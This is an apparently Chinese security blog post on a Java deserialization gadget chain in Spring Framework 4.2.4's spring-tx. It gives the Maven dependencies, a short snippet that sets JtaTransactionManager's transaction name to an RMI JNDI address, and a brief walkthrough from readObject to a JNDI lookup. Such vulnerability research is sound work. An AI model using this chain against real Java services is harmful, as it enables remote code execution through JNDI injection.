[Java安全]Java反序列化之spring-tx(Spring Framework 4.2.4)

Posted 2021-11-01 Y4tacker

文章目录

• 环境
• 依赖
• 分析
• • 利用链构造
  • 利用链分析

环境

来自spring-jndi

依赖

<dependencies>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-tx</artifactId>
      <version>4.2.4.RELEASE</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-context</artifactId>
      <version>4.2.4.RELEASE</version>
    </dependency>
    <dependency>
      <groupId>javax.transaction</groupId>
      <artifactId>javax.transaction-api</artifactId>
      <version>1.2</version>
    </dependency>
  </dependencies>

分析

利用链构造

String jndiAddress = "rmi://127.0.0.1:1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

利用链分析

整个利用链是比较简单的，入口点在JtaTransactionManager的readObject方法，

不为Null长度也大于0

这个lookup()函数符合JNDI注入的特征

继续跟入

是InitialContext

最后回调实现了JNDI注入